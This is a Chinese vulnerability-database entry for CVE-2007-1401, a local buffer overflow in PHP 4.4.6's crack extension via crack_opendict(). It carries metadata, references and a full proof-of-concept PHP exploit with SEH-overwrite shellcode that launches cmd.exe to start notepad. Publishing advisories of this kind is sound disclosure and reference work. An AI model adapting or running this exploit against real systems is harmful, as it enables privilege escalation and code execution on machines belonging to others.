PHP crack extension(CrackLib)缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112392 漏洞类型 缓冲区溢出
发布时间 2007-03-08 更新时间 2007-03-10
CVE编号 CVE-2007-1401 CNNVD-ID CNNVD-200703-322
漏洞平台 Windows CVSS评分 6.9
|漏洞来源
https://www.exploit-db.com/exploits/3431
https://www.securityfocus.com/bid/83546
https://cxsecurity.com/issue/WLB-2007030103
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-322
|漏洞详情
当和PHP4.4.6和5.0.0之前的其他版本一起被打包时,crackextension(CrackLib)中存在缓冲区溢出漏洞。本地用户可以借助提交到crack_opendict函数的长参数,获得特权。
|漏洞EXP
<?php
//PHP 4.4.6 crack_opendict() local buffer overflow poc exploit
//win2k sp3 version / seh overwrite method
//to be launched from the cli

// by rgod
// site: http://retrogod.altervista.org

if (!extension_loaded("crack")){
die("you need the crack extension loaded.");
}

$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";

$jmp="\xeb\x06\x06\xeb"; // jmp short
$eip="\x86\xa0\xf8\x77"; // call ebx, ntdll.dll
$____suntzu.=str_repeat("A",3216);
$____suntzu.=$jmp.$eip.str_repeat("\x90",12).$____scode;
crack_opendict($____suntzu);

?>

# milw0rm.com [2007-03-08]
|受影响的产品
PHP PHP 4.4.6
|参考资料

来源:BUGTRAQ
名称:20070308PHP4.4.6crack_opendict()localbufferoverflowpocexploit
链接:http://www.securityfocus.com/archive/1/archive/1/462226/100/0/threaded
来源:MILW0RM
名称:3431
链接:http://www.milw0rm.com/exploits/3431
来源:MISC
链接:http://retrogod.altervista.org/php_446_crack_opendict_local_bof.html
来源:SREASON
名称:2405
链接:http://securityreason.com/securityalert/2405